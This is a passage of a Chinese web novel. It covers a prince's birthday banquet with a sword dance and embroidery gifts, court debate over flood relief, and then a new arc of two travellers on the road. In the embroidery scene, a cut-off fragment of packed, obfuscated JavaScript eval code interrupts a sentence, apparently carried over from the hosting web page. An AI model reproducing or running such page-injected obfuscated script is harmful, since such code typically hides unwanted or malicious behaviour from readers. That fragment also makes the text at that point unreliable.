“二皇妃就会取笑臣女,”她娇嗔道,“女儿家强身健体的把式,哪是真刀真枪征战沙场的三殿下的对手。” 邹瑅却道:“女子未必不如男,不比比如何知道不是对手。” 李幼菱对他的印象更甚,也有些跃跃欲试,但想到长辈的叮嘱,还是摇了摇头。 见邹瑅面露失望,太后笑道:“那就不算切磋,权当瑅儿与幼菱舞给哀家看的。” 她对身后的老妪道:“快命人去取剑来。” 又笑着对二皇子妃说:“芸儿,你作为她们的姐姐,可不能厚此薄彼,快先给瑅儿好好介绍一下玉玟。” “瞧我,光顾着想看舞剑去了。”二皇子妃快步走到沈玉玟身边亲热牵起她的手,“玉玟今年十六岁,是御史大夫沈大人的幼女,琴棋书画无一不通,据说玉玟弹奏的《玄鸟东驰》气势如虹,听者无一不赞宛若置身我大嬴历代先祖血战现场,不知我们今日是不是能沾三殿下的福,亲耳听听。” 沈玉玟也很羞涩,但还是落落大方回答:“二皇子妃谬赞,臣女正欲弹奏《玄鸟东驰》为殿下庆生。” “好好好,”太后慈爱且欣慰大笑,笑声未落,成武帝的声音传来,“沙於,去看看是哪家女儿逗得母后如此愉悦,重赏。” 闻声,众人纷纷转过身去跪下行礼,齐声高呼‘参见陛下。’ 只不过成武帝的动作更快,太后还没真正站起来,他就先走到太后身前扶着她又坐了回去。 在母子俩寒暄的时候,跟随成武帝而来的韩贵妃和几个妃子、还有来给邹瑅庆生的几个族亲、重臣纷纷给太后和皇后行礼。 等太后喊众人起来,成武帝才道:“都起来坐下说吧。” 皇帝都发话了,众人自然照做。 大嬴的男女大防并没有那么严重,场地也足够大,见皇帝都来了,在各处赏花游玩的女子也纷纷聚拢过来,在自己的位置上坐下。 一同来的还有邹珣的嫡长子邹沛。 小小的人却一眼看到成武帝和太后,欢欢喜喜喊着“皇爷爷、皇太奶奶”就朝身居高位的两人奔去。 两人自然和蔼回应,成武帝更是朝他伸出手,“到皇爷爷这来。” 邹沛才五岁,长得白嫩可爱,虽然尚还稚嫩,眉眼之间却已经能隐隐看见成武帝的影子。 邹沛才笑着冲进成武帝的怀中,一句一个皇爷爷喊得乖巧甜腻,邹珣想唤他过去都喊不动。 成武帝心情大好,“沛儿乐意待在朕身边,珣儿你再多管,朕可就要找人把你赶出去了。” 邹沛坐在成武帝腿上嘿嘿笑着重复,“赶出去、赶出去。” 邹珣一听佯装愠怒道:“嘿,你个小子,有了皇爷爷,爹都不认识了吗?” 邹沛被他的表情逗得直笑。 稚子天真无邪,成武帝笑意更甚,摸着邹沛的小脑袋逗他说:“好了,今日是你小皇叔的生辰,我们沛儿可有为小皇叔准备生辰礼啊?” “准备了。”邹沛奶声奶气说着,从成武帝怀中下去,走到邹瑅身前,“小皇叔,你把脑袋低下来一点,我有礼物要送给你。” 邹沛的确可爱,一点没有邹珣讨人厌的影子,邹瑅满脸笑意,依言照做,还没反应过来,邹沛先吧唧一口亲在他的脸上。 众人都是一愣,邹瑅更是直接呆愣在原地。 却听邹沛奶声奶气说:“皇爷爷说有我陪着很开心、都能多活几年,小皇叔被我非常厉害的亲了一口,一定能长命百岁的。” 童真的话语听得在场的众人一片心软,邹瑅更是,“谢谢沛儿。”他说着,取下腰间的金玄鸟平安无事牌给邹沛挂上,“这个平安无事牌是同父皇出征那年,皇祖母特意命人为我打造的,它陪我出生入死庇佑我多年,如今我把它送给你,有它压祟驱邪,沛儿也一定会平安无事、健康长大。” 邹珣一惊,脸上眼中复杂无比。 邹沛还不懂其中含义,也不缺奇珍异宝,只知道被长辈赏赐礼物要有礼貌。 他笑得眉眼弯弯说:“谢谢小皇叔!” 邹瑅摸摸他的脑袋,放他回到成武帝身边。 成武帝将邹沛抱到腿上坐下,看向太后说:“母后,朕方才恍惚听见有人说要弹奏《玄鸟东驰》,不知是哪家的女子啊?” 太后笑着说:“是沈家的女儿沈玉玟。” 沈玉玟闻言站起身来跟成武帝行礼,见沈玉玟的琴也已经取来,太后笑着说,“陛下想听,那便先由玉玟给我们弹奏《玄鸟东驰》吧。” 这话主要是说给李幼菱听的,见她脸上没有半分不忿,太后在心中对她也更加满意。 却听沈玉玟说:“臣女琴艺平平,恐陛下与太后无聊,斗胆恳请三殿下与幼菱姑娘舞剑助兴。” 她说着跪了下来,今日是邹瑅的生辰,她的恳求也十分微不足道,不等成武帝说什么,邹瑅便道:“我乐意之至,不知李姑娘意向如何。” 李幼菱有些害怕自家祖父的视线,但被皇上太后还有三殿下看着,她也不敢不点头。 奴仆将早已取来的一对佩剑分别送到邹瑅和李幼菱手中,两人握剑起势,相隔三尺,面对面站在中间。 随着坐在成武帝右手边的沈玉玟拨动琴弦,两人翩翩起舞。 《玄鸟东驰》是始皇帝一统天下后,命乐府以大嬴发家到崛起再到一统为背景,编撰来封禅还有祭天祭祖的礼乐。 该曲气势如虹,给人玄鸟腾飞,驱使猛虎出山,带来的天崩地裂般的震撼之感,也是成武帝出征的曲乐。 沈玉玟的琴技的确了得,虽无编钟、镈、萧等乐器协助,她仍弹出了千军万马冲锋厮杀、势不可挡的气势。 再说邹瑅与李幼菱的舞剑,李幼菱的剑术不低,邹瑅刚开始不清楚她的深浅,便以表演为主,点到为止的试探。 随着音乐进入高潮,李幼菱明显受音乐影响,攻势越来越猛,邹瑅一喜,也不再收着,开始出击,两人就这样伴随着音乐打得你来我往。 一个红袍锦衣、一个黄裙绡纱,似蝴蝶,似飞鸟,又似猛兽。 在音乐的影响下,两人都越打越上头,临近尾声时,更是谁也不让着谁。 随着沈玉玟最后一抚琴,邹瑅腾跃而起,在半空中一剑挑飞李幼菱手中之剑,最后在空中翻转一周稳稳落在李幼菱身后,剑尖直抵李幼菱后脑勺。 众人惊愕不已,直到成武帝鼓掌喊“好啊!”,众人才反应过来,爆发出剧烈的掌声。 邹瑅倒是被众人的掌声弄得不好意思了,他收剑归鞘,又捡起李幼菱被他打落的剑还给她。 邹瑅如是真挚说道:“巾帼不让须眉,你若早出生几年,我大嬴或许要多一位战功赫赫的女将军了。” 李幼菱接过剑,愣愣看着邹瑅,许久没反应过来。 邹瑅又走到沈玉玟面前,“沈姑娘琴技登峰造极,《玄鸟东驰》经沈姑娘弹奏之后,让人不由想起我大嬴历代祖先的雄伟英姿,自豪之感油然心生,顿觉身为大嬴子民实属幸运与荣光。” 沈玉玟也明显愣住了。 邹瑅言语真挚、双眸炯炯有神,一张脸尚还稚嫩却不缺英气,哪怕他说的是荒诞无稽的戏言,也很难不将其视作真理。 太后赶在成武帝开口前说:“听闻玉笯与安安的锦绣是以瑅儿死战护粮的事迹创作的,趁着《玄鸟东驰》的余音未消,快些呈上来。” 成武帝露出感兴趣的神色,“还有此事,快快呈上来。” 奴仆早就在旁边候着,闻言立刻将锦盒送到两名少女面前。 两人打开盒子,拿出里面一丈宽、半丈高的锦绣走到正中间,行礼过后,将其缓缓展开。 随着锦绣展开,血腥又壮烈雄伟的画卷映入眼帘,成武帝太后几人看得震惊不已。 下方众人好奇得抓耳挠腮,邹瑅都想起身绕到前面去看,太后注意到他的急切,轻笑一声,喊两人快转过去给邹瑅这个寿星看看。 一时间,惊呼声四起。 锦绣中的主人公是一个身穿银色战甲、背披红色披风的少年将军。 他背对众人站在尸山血海之上,背后是匆忙远去的运粮部队、前方是敌国追兵。 尚未加冠而高束的长发随风飘扬,银白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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片刻,年长一些的曹玉笯鼓起勇气道:“此幅画卷是臣女听闻三殿下死战护粮壮举后,凭借想象所作,闺阁女子见识浅薄、漏洞百出,任凭安安女红再好,也无法还原真实战场的凶险与壮烈……” 她越说越颤抖得厉害,旁边的余安安张嘴也要往自己身上揽责。 邹瑅反应过来两人误会了,连忙道:“不,二位姑娘无论是画技还是绣工都是顶尖,也正因为太好,我才不由身临其境,想起当时的凶险,看得入了迷。” 成武帝也夸道:“只凭想象画成这般,并一针一线将之绣出来,你二人已经是丹青与女红中的翘楚了,来啊,各赏展翅玄鸟金步摇一支。” 转变来得太快,两人都是一愣,听到太后让她们还不快谢恩,两人才反应过来,将手中的锦绣交予主动上前接过的邹瑅后,连忙跪下谢恩。 太后笑盈盈提醒成武帝又说:“陛下可不要忘了玉玟与幼菱啊。” 别说,成武帝还真忘了,经她提醒,片刻沉思后,当即说道:“曹氏女玉笯、余氏女安安、沈氏女玉玟、李氏女幼菱,四人各有姿态,皆当为我大嬴女子之典范,各赏一支玄鸟金步摇,另外……” “沙於,命人去内帑中取一套蓝田玉墨宝、一匹蜀锦、一把和田玉琴、一柄赤金镶七彩玉石宝剑,分别赐予此四女。” 如此大的手笔,别说是四人及她们的长辈,连邹珣和邹瑅都是一惊,但邹瑅也由衷替她们高兴。 在其余众人艳羡的注视下,四人及其长辈连忙跪下谢恩,成武帝摆摆手喊众人起来,又说饿了,让上菜。 宴席早已备好,一声令下,很快齐备。 伴随着乐府准备的歌舞,盛大的宴会开始。 吃得差不多,众人一一献礼。 说是献礼,其实是让所有女子都有机会在邹瑅面前露面,好让邹瑅挑选心仪的。 能参加宴会的都是太后挑选过的,只要邹瑅点头,这些女子便都能在最短的时间进入邹瑅的后院。 这一过程有些漫长,但才刚开始,只见了五六个女子,便突然下起了雨。 刚开始还是小雨,成武帝刚让继续,霏霏细雨在极短的时间内发展成倾盆大雨,众人这才不得不转入室内。 * 晚上,邹瑅被召到太后寝殿用膳,成武帝和皇后也在。 成武帝的威严与皇后的沉默让邹瑅食欲大减,一碗饭下肚便不再吃了。 见他放下了碗筷,太后一边命人送来糕点,一边问他:“今日见了那么多女子,可有心仪的。” 是见了不少,但邹瑅有影响的也就太后让二皇子妃亲自介绍的四人,四人还都各有优点,一时半会,邹瑅还真没法从中选出最喜欢的那个。 邹瑅挠挠鼻子说:“如父皇所说,她们各有姿态,都很好。” 成武帝轻笑道:“你的意思是都喜欢?这么贪心!” 明显的玩笑话让邹瑅轻松不少,同时也觉得脸热,“父皇…孩儿不是这个意思。” 太后和成武帝都笑出声。 邹瑅所有害羞难为情的情绪在注意到旁边沉默神游的母亲时消散一空,但他还是鼓起勇气对皇后道:“母后为孩儿掌掌眼吧。” 他做好了被冷落的心理准备,出乎意料的,欧阳羽儿回神看向了他。 所有人都停下了手上的动作,许久,才听她淡淡说:“你自己再多看看,挑自己最喜欢的。” 说罢,她收回视线,又进入了入定的状态。 成武帝手中的筷子在碗碟上磕碰发出声响,沉默才被打破。 太后笑着应和,“你母后所言不错,瑅儿也还小,待明日祖母命人将姑娘们的画卷与家世背景都送到你府上,你一一看过再说。” 成武帝视线和注意力虽都在手下的菜上,但也淡淡道:“索性也耽误了,不差这一时半会,过完年你若还没有心仪的,朕再根据你皇祖母挑选的给你赐婚也不迟。” 邹瑅一愣,想说他们现在安排也可以,但想到母后那满含深意的眼神,他还是没说出口,“是,父皇。” 成武帝点点头,放下筷子对太后说:“夜深了,母后早些休息,朕先回去了。” 太后自然点头,起身送他。 见状,邹瑅也跟着起身,他将太后拉回去坐下,“孩儿送父皇回去吧,皇祖母、母后,孩儿告退。” 说罢,不等太后说什么,一溜烟跟在成武帝身后跑了。 目送两人远去,太后这才收回视线看向皇后,见皇后也起身要走,她上前拉住皇后的手腕,“羽儿,” 欧阳羽儿淡淡看着她,等着她的下文。 太后看着她,满脸都是心疼,最终,她长叹一口气,“瑅儿都这么大了,蹉跎了大半生,羽儿,你也该释然了。” 欧阳羽儿有片刻的动容,但很快又恢复那副淡然目空一切的模样,“谢太后关心,我每日吃斋念佛挺好的。” 太后仍是叹气,她心疼摸摸欧阳羽儿的头发,“走吧,我送你出去。” 45.幽冥卷·第二十章 20 邹瑅追赶着成武帝顺着廊坊朝成武帝的寝宫而去。 父子俩一前一后,一直没有言语。 直到走到成武帝寝宫与宫门的分叉口,成武帝的脚步才慢了下来。 成武帝在廊座上坐了下来,并招招手示意他过来坐。 邹瑅有些踌躇,还有些忐忑,但还是上前隔着一个人的位置在成武帝身边坐了下来。 外边的雨哗啦啦下着,没有任何要减缓的迹象。 “父皇。”邹瑅拔高声音喊了声。 成武帝‘嗯’了一声,却没了下文。 见状,邹瑅也只好闭上嘴巴,安安静静坐着。 不知道过了多久,成武帝突然幽幽开口,“无怍,” 邹瑅的思绪早已跑远,突然被喊不常用的字,他一惊,猛地蹦了起来,“儿臣在。” 成武帝原本只是在自言自语,见邹瑅这惊慌失措的模样,不由好笑,“朕有这么骇人。” 邹瑅反应过来,连忙摇头,他想解释,但想到的都觉不合适,支支吾吾半天也没说出句有用的来,“没有,父皇……儿臣……” 成武帝更觉好笑,拍拍身边的位置,祥和说:“坐下,此刻只有你我父子二人,你慌张什么。” 跟随的人被沙於领着候在十丈外。 这里的确只有他们父子二人,父子,多么久违的称呼,邹瑅的心也软下来。 他挨着成武帝坐下,开口的声音有些委屈,“父皇,虽然现在不会再有杀戮与性命之忧,但我一点都不喜欢现在的生活。” 罕见的,成武帝没责备他什么,只摸摸他的脑袋,呢喃说:“哪怕是朕,也有很多身不由己的时候。所以,你必须尽快成长,努力接受面对,经历得多了,在真正遇到危险时,你才能游刃有余的解决。” 邹瑅沮丧说,“可是成长真的好难。” 成武帝拍拍他的肩膀,而后松开他说:“朕相信你可以做到。” 邹瑅直直看向成武帝,大不韪的话差点就问出口。 父子俩像是有心灵感应般,邹瑅许久的沉默,成武帝并没有询问。 片刻,成武帝才又说道:“去年传遍各地的那则童谣你还记得吗。” “天下一,大灾至,濮水发,众生苦?”见成武帝点头,邹瑅又说,“不是说这是赵国为团结民众抵御我国所散发的谣言吗?” 成武帝摇摇头,“并没有实际证据,这样说只是为了稳固我军军心。” 他转头看向外面淅淅沥沥的雨,“我大嬴疲于收复疆土,濮水沿岸多个堤坝年久失修,往年每逢雨季,均有城池受到涝灾侵害,今日突发暴雨,朕不能不忧心啊。” 邹瑅也看向了外边好像又猛烈了几分的暴雨,几息之后,他扭头看向成武帝,“父皇,若当真出了涝灾,儿臣愿前往最凶险一段赈灾、监修堤坝。” “你可知晓一条堤坝修成要多久?”成武帝问完没给邹瑅回答的时间,又郑重说,“少说三五载,多了几十年也未必能竣工。” 邹瑅面色也变得凝重认真,“儿臣知晓,只要能为父皇分忧,儿臣愿意前往,哪怕三五十载不能回鄂阳。” 成武帝不说话了,许久之后,他长叹一口气,“这些最好不发生。” 说罢,他起身缓步继续往前走,邹瑅自然起身跟上,却听他说:“太晚了,你不必送朕,回去休息吧。” 他又高声对快步赶来的沙於吩咐道:“沙於,送三皇子回府。” 看着父皇落寞沉重的背影,邹瑅心中万分不忍,但也没有理由再追上去。 皇宫不比军营,他再不能闯父皇的营帐。 * 这场来势汹汹且激烈无比的大雨连着下了十多天。 八月初五,鄂阳邻近多地传来急报,称堤坝有决堤的迹象,若大雨还不停下,最多五日,定会决堤。 八月初八,鄂阳城郊地处低凹的几处村落陆续被淹,幸好鄂阳城地势较高,近几年维修时又特意升级排水系统系统,鄂阳暂时无碍。 八月初十到八月十一,连夜不休,濮水流经城池陆续传来灾情,请求中央赈灾救援。 至此,暴雨依旧没有停下。 八月十一日晚,成武帝连夜召集四公九卿、鄂阳五大将领以及两个皇子商议救援赈灾事宜。 听沙於宣读完各地灾情后,向来寡言的颍王先站出来道:“自先皇决定收复失地伊始,我国便开始囤粮。去年童谣四散,臣又按照陛下您的吩咐广集粮草,至今年二月陛下战胜班师回朝时,我大嬴所囤积的粮食余量仍然足够举国上下食用两年而不绝。涝灾既发,赈灾势不容缓,这也是收复民心的大好时机,尤其是利州浩然湖一带。” 韩威道:“颍王所言不虚,赈灾必然要做,当下最重要的是如何去做。暴雨未见消停势头,多地山体垮塌,只怕粮草还未送到,就先在路上淋雨发了霉。” 欧阳谨提议道:“或可调动边疆将领,就近清理道路,配合粮草运送。” 曹敏才却道:“粮食未必要从鄂阳送出,就拿利州来说,传闻浩然湖边上的浩然山庄富可敌国,他们所囤积的粮草只会多不会少,从其手中征集,既能缩短运粮时间减少伤亡损失,也能有效削减其势力。” 沈凌反驳道:“利州共计八十万人口,一日至少四万石粮食,一日两日他们迫于威压或许还交出,时日久了,难免被逼出反叛之心,鄂阳出现神武箭弩一事的最终始作俑者还未浮出水面,那些藏起来的箭弩也还不知所踪,这时候万不能冒这个险。” 此话一出,御书房顿时鸦雀无声。 片刻,还是邹瑅先开口打破沉寂,“父皇,儿臣愿前往灾情最严重的利州赈灾治水。” 众人神色各异,成武帝沉思片刻,问:“你欲何为?” “儿臣欲带一百龙武军从鄂阳带五十车粮草先前往利州,再由父皇命人加急传令神武军各营调集共计两千兵马,让其从沿路邻近粮仓运送粮仓前往利州汇合。” 邹瑅顿了顿,才又说,“此次的确是削弱浩然山庄的大好时机,但并不一定要急着在灾情尚未得到控制的期间进行。” “浩然湖多处决堤,灾情得到控制后的第一件事就是修筑堤坝,届时可以修筑堤坝之名从三军中抽调兵士,有三军兵士压着,浩然山庄不敢不从。其实,他们反了最好,这样正好能名正言顺将之一举剿灭。” 闻言,众人神色各异,其中最意外的是成武帝、欧阳谨以及典客子瞮。 邹瑅往日给人,尤其是给这些文官们的感觉都是纯善憨厚的,他突然说出这番狠话,着实令人意外。 李卓兀然道:“涝灾过后最易爆发疫病,让三殿下和三军兵士、尤其是龙武军前往灾情最严重处赈灾,恐还需仔细商议。” 邹瑅当即反驳:“浩然山庄未必敢反,龙武军不行,从各城池抽调府兵也行。” 他说着跪了下去,看向成武帝恳切请求,“还请父皇准许儿臣担任利州安抚司尉,前往利州赈灾修坝。” 欧阳谨也是大惊,也顾不得那么多,当即出列劝道:“利州灾情严重,三殿下贵为龙子,若出了意外……殿下三思,陛下三思啊。” “儿臣跟随父皇出入敌国军阵多次而性命无忧,如今只是赈灾修坝,太尉言语太过。” 见两人争辩着就要吵起来,成武帝当即出声打断,“珣儿,此事你有何想法。” 邹珣一惊,当即收回心神。 他做思考状,好一会儿,才犹豫开口,“儿臣认为颍王所言有理,应当借此次赈灾收拢民心,或可在鄂阳提拔多位安抚司尉,由大司农府协助运粮分别前往各地赈灾。” “所需人才不是小数目,你可有推荐人选。”成武帝问完,补充又说,“尤其是利州。” “这……”邹珣看了邹瑅一眼,一时没有下文。 待邹瑅又要开口,他才抢先说:“若父皇信任,儿臣愿担任利州安抚司尉,待灾情过后,再按三弟的计谋,以修坝之名削弱浩然山庄这一江湖势力。” 闻言韩威和曹敏才也站不住了。 韩威道:“万万不可,二殿下既无武功心法傍身,又无带兵作战经验,还望陛下与二殿下三思。” 曹敏才也道:“像浩然山庄这种影响重大的江湖势力,要么不动,要么一举拿下,否则,后患无穷。若真要借此机会对浩然山庄下手,征战多年的三殿下无论从哪方面去考量,都是更合适的人选。” 欧阳谨正欲反驳,却被邹瑅抢了先,“父皇,大司农与左相所言有理,还望父皇将此重任交予儿臣,儿臣定不负众望,否则提头来见。” 至此,成武帝不得不表态。 “只是一次平常的赈灾,无需立军令状。”成武帝道,“瑅儿,你先起来。” 见他言语坚定,邹瑅只好先起来。 成武帝这才说:“当务之急是赈灾,浩然山庄,待灾情稳定再说。” 他说着拔高声音,“大司农、太仆何在。”< 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成武帝在邹瑅说话之前道:“邹瑅,朕依你所请,给你两百龙武军,一千神武军,天一亮,你立刻带上八十车粮食,以利州安抚司尉的身份前往利州赈灾。” “待灾情稳定,你尽可试探浩然山庄,若找到合适机会,朕再给你八百龙武军、五千神武军、四千英武军,让你一举剿灭浩然山庄。” 邹瑅大喜过望,当下跪下谢恩,“谢父皇信任,儿臣定不会让父皇失望。” 成武帝疲惫捏捏额心,‘嗯’了声,摆手就要喊众人退去。 邹瑅一咬牙,又道:“父皇,儿臣还有一个请求。” 成武帝满脸不耐,“说。” “右相的担忧不无道理,涝灾过后的确是疫病的高发时期。”邹瑅语气弱了些,但顿了顿后,还是拔高音量继续道,“典客子瞮师承名医、学艺精湛,请父皇准子瞮与儿臣同往,以防万一。” 成武帝闻声懒懒掀动眼皮看向角落阴影处的子瞮,“典客府倒是的确没什么事务,朕身边却是需要伺候的人…子瞮,你欲何为?” 难题一下子抛给了子瞮,这对子瞮来说完全是无解的。 他正被成武帝凌厉的视线盯得心乱如麻,久久找不到合适的说辞时,就听邹瑅用他一贯的撒娇、蛮横不讲理的语气央求道:“父皇您身边人才济济,二皇兄、睿王堂兄、四公九卿、还有……多得都数不过来,您就让子瞮跟着儿臣吧。” 成武帝顿觉好笑。 见有希望,邹瑅退一步又道:“您要是实在喜欢子瞮的伺候,待灾情稳定,确定不会爆发疫病之后,儿臣便把他还给您,行吗?父皇,您就答应儿臣吧。” 成武帝没好气笑出声,“别以为朕不知道你打的什么主意…罢了,你一人远去利州,朕也难免记挂,便暂且忍痛割爱,准子瞮陪你待到利州灾情稳定吧。” 邹瑅当即喜笑颜开,跪下就重重嗑了一个头,“儿臣跪谢父皇恩准。” “你啊你,”成武帝笑着又对子瞮说,“子瞮,替朕看顾好三皇子,待你回来,朕重重有赏。” 无论子瞮原本是什么打算,现在,他都只能跪下接旨了。 …… 天刚刚亮,邹瑅便带着子瞮和他亲自从龙武军营中挑选的两百兵士,带着浩浩荡荡的八十车粮草冒雨出发了。 * 同一时间,植被稀薄的山顶,黑压压的雨幕之下,一衣着狼狈的身影趴在火山口壁沿上,她半个身体都垂坠出去,全靠那双如木楔一般、深深嵌入满是乱石的地面之中脚在支撑着,免于坠入翻滚的岩浆之中。 再仔细一看,她的上半身之所以垂坠而下,是因为她鲜血淋漓的双手紧握这一条鞭子,鞭子下端,还卷缠着一个已经失去意识的高大身影。 那些黑衣人提着刀越来越近了,李棋心急如焚,但她的右臂被砍了一刀,能拉住邹杲全靠本能,再没有任何力气甩动鞭子将邹杲甩上来。 没有时间了,李棋只能再次尝试。 “邹杲,醒醒!邹杲!” 她全身的肌肉都在颤抖,鲜血、汗珠大颗大颗滴落,手中的鞭子却只是轻微的晃动,想要将邹杲甩上来,这点力气完全不够。 突然电闪雷鸣,感受到凌厉的波动,她侧头看去,只见一把因闪电照亮,而散发着幽冷寒芒的利刃朝她抓着鞭子的双手飞刺来。 【卷二幽冥·完】 46.辽炀卷·第一章 1 李棋和邹杲在郓城停留了两日。 第一日早上,两人一同给千赤、玄翼修了马蹄,中午吃过午饭,又一起将赵孟交到了郓城城尉手上,下午,两人各自去办了点自己的事,之后就是窝在客栈等幽冥蝎了。 别说,邹杲的人还真挺靠谱,第二天两人及王安才刚吃过午饭,两个其貌不扬的男人便送来了一个盒子。 彼时邹杲刚放下筷子、掏出一张跟李棋的衣裙同色的手帕在擦嘴巴。 他手上的动作不停,笑着对李棋轻挑了下眉,“小棋儿,检查一下?” 李棋还在喝酒,闻言将碗中的酒咕咚一口咽下之后,一边伸手接过盒子,一边骂邹杲:“是你要死了还是我要死了啊,你干脆也别大费周章去找解药了,懒死你得了。” 邹杲只是笑,对于她这些不痛不痒的抱怨完全照单全收。 他倒是坦然,送东西来的两个男人直接被惊了一大跳,都不敢出声打扰,只能用询问的眼神看向旁边默默吃饭的王安。 王安也是从他们这个阶段过来的,他微微颔首,示意两人镇定,习惯就好。 三人做小动作的期间,李棋也将盒子里三只蔫但活着的蝎子挨个拿出来检查摆弄了一番,又掏出银针试了试,确定和师父描述的并无二样,才将蝎子塞进了她早就熬制好的药水之中。 李棋将陶瓷瓶塞到锦囊里,起身塞到邹杲手中,“自己收好,东西丢了你人活不成,可怪不得我。” 邹杲倒是没当回事,直接将锦囊转手丢给了王安,李棋看得心都悬到了嗓子眼,急得差点扑上去,“你干什么啊,真不想活了!” 还好,王安将其稳稳接住了。 “小棋儿这么担心我啊?”邹杲还是那副不着调的纨绔样。 李棋悬着的心放下来,对他翻了个大大的白眼,“懒得管你,你爱活不活。” 王安也很紧张,但也会来事。 他拿出盒子里的锦布将锦囊里里外外又裹了几层,一边裹一边跟李棋保证,“姑娘放心,小的就算舍了这条命不要,也一定会保护好王爷的药的。” 李棋对他笑笑没说话,拉开板凳示意跑腿的两人坐,又自顾自倒了两碗酒递给他们。 两人受宠若惊,先看了看邹杲的脸色,李棋不干了,“你俩都快渴死了,能喝酒就喝,不能喝酒就自己倒水,看他的脸色干什么。” 邹杲应和得倒是快,“小棋儿说得对,想喝就喝,看我的脸色干什么。” 两人嘿嘿干笑两声,连忙伸出双手将酒接过来,“多谢李姑娘。”说罢,将碗里的酒一饮而尽,两人连连夸赞,“好酒!好酒!” 李棋没再说话,只将酒坛推到他们面前,又拍了拍板凳示意两人坐下说。 邹杲拿起两双筷子分别飞扔给两人,又唤来小二让再送几个肉菜来。 两人显然又饿又渴,得到首肯立马大口吃喝,那样子,不知道的还以为饿了好几天。 李棋又倒了碗酒,端着百无聊赖喝着。 她喝酒,邹杲看她喝酒,这是这两天的常态。 还是王安再次说话催促行程。 王安喊“王爷,”,邹杲看也没看他,轻飘飘‘嗯’了声。 王安有些无奈,但还是催促道:“既然拿到了幽冥蝎,咱们这就出发前往辽炀山脉吧。” 李棋闻言一口喝掉了碗里的酒,她起身不容置喙说:“都去收拾东西,半炷香后这里汇合。” “等等我啊,小棋儿。”李棋一走,邹杲立马起身跟上。 见状,王安也连忙起身,追上去帮忙收拾,像是想到什么,他又倒回来对两人说:“等会再吃,通知兄弟们先去把城外那些野狗收拾了。” “得令。”两人当即起身照做,只是临走前,还各拿了好几块肉,边走边往嘴里塞。 王安简直没眼看,“出息,幸好没让李姑娘看到。” * 等李棋提着自己的行囊下来的时候,王安已经将马车套好牵到客栈门口了。 邹杲依靠在马车上,王安在检查缰绳,见她来,主仆俩不约而同朝她走来。 王安接过她手里的两个大包袱,邹杲则和她并肩朝马车走去。 “王安带来的东西太多了,”李棋问邹杲,“这些衣服和话本,你能找人帮我先送回玄林去吗?” 邹杲笑道:“小棋儿喜欢就带在身边吧。” 李棋心疼的话还没说出口,放好包袱、从车厢里钻出来的王安在一边拍着胸膛说,“姑娘尽管享受,小的会将它们看顾好的。” 邹杲又说:“真丢了也没关系,本王再给你置办更多。” 两人都这么说,李棋还有什么理由拒绝了。 “那就多谢王爷和王安兄了。”李兄拱手笑着说着,撑着邹杲伸出来的胳膊,轻盈进了车厢,邹杲紧随其后。 千赤和玄翼拉着马车缓缓行进。 没一会儿,车厢里的李棋倒是先坐不住了,赶车赶习惯了,车动起来却感受不到风,怎么都感觉闷得慌。 就在她坐立难安、打算出去和王安一起赶车时,邹杲像是察觉到了她的所想,一扭身挨着坐在了她身边。 李棋一惊,往角落缩了缩,“你干什么?” 邹杲无奈苦笑,又翻出李棋放话本的包袱,一边挑选一边问李棋,“本王心情好,屈尊念话本给你听,要不要?” 李棋狐疑看着他,只觉他没安好心。 邹杲哭笑不得,“没想使坏,就单纯想说话,但又不知道说什么,所以就便宜你了。” 他说着一手拿起一本话本,“这本《悍女捡到失忆美娇郎,两年抱三羡煞旁人》怎么样,还是说你想听这本《误闯天家,我为残废俏将军杀穿庙堂》。” 自己看的时候都不觉得有时候,如今听邹杲一本正经念出来,李棋怎么都觉得别扭。 “也不知道这些话本王安都是从哪儿找来的,书名一本比一本更羞耻……” 她吐槽的话还没说完,就听邹杲颇为骄傲说:“是我取的。” “嗯?”李棋满脸疑惑。 邹杲一本正经说:“这些都是离开鄂阳的前一晚,我连夜写出来,又让手下去找人扩写的。” “啊?!” 邹杲凑近些朝她挤挤眼,压低声音像是在说什么很不得了的事情一样,“这些只是第一批哦,只要小棋儿喜欢,本王保证你一辈子都有看不完的话本。” “呃……” “对了,我还让他们去找了不少画师,再过几个月,你就可以看到画册了,小棋儿有特别喜欢的故事吗?” 李棋人傻了,一颗心却噗通噗通直跳。 邹杲这一手真的很让李棋心动啊。 她眨巴着眼睛看着邹杲,好半天才缓过劲来,“你……” 但话没说出口,邹杲大笑着又说:“好吧好吧,不逗你了,这些书的确出自天下第一阁,但只是为了迎合深闺女子的好奇心与幻想去赚钱的。” 李棋感觉被一盆冷水泼了个彻底,想骂人,又觉得骂出来就是此地无银三百两,她就输了个彻底。 她恶狠狠瞪着邹杲,恨不得把邹杲瞪出个窟窿来。 邹杲却怡然自得,随意放开一本就读了起来,一边读,他还一边挑刺找茬。 李棋原本还在心里扎邹杲的小人,不知不觉,她的意识一点点涣散,最后竟然睡了过去。 待靠在肩上的人睡熟,邹杲终于敢动作。 随着他轻轻敲了敲马车壁,车速明显降了下来,车厢内的两人也更加稳缓。 他小心翼翼将李棋的脑袋移到他腿上,看着李棋恬静的睡颜,邹杲心里一片柔软。 他抬起手,试探伸出,许久,才如羽毛般轻飘飘落到李棋的脸颊上。 “小棋儿……”邹杲呢喃出声,好久却都没有下文。 他就这么看着李棋,轻轻落在李棋脸颊上的手指才动了动,顺着脸颊滑到嘴角。 邹杲喉结滑动,额头很快起了一层薄汗,终于,他脑袋缓缓俯下。 越来越近,越来越近,眼看,两人才嘴唇就要触碰到一起。 刹那间,邹杲却猛地扬起了头。 他坐得笔直,全身好像被点穴了一般动弹不得。 不知道又过了多久,落在李棋嘴角的手指才轻飘飘移动,碰上李棋嫣红饱满的唇。 但只是一瞬间,邹杲仿佛触电般,很快收回了手。 他抬手理了理李棋散乱的头发,然后再没有其他动作,就好像只是一个人形的枕头一般。 * 这一觉李棋睡得还算好,不知道行进了多久,马车极速停下,李棋才被惊醒。 她才睁开眼,就对上低着头关切看着自己的邹杲的双眸,“没事吧?” 察觉到紧紧箍在腰上的手臂,以及自己此刻的姿态,李棋一惊,一个鲤鱼打挺快速离开了邹杲的怀抱。 “我没事,外面怎么了?我出去看看。” 李棋慌乱说着,起身奔出了车厢。 “姑娘,这……”王安一脸为难。 已经是傍晚,他们还在官道上,前方,两女三男挡住了去路。 其中三男一女都裹得严实,就露出了一双眼睛,被他们团团围住的男人倒是漏得多。 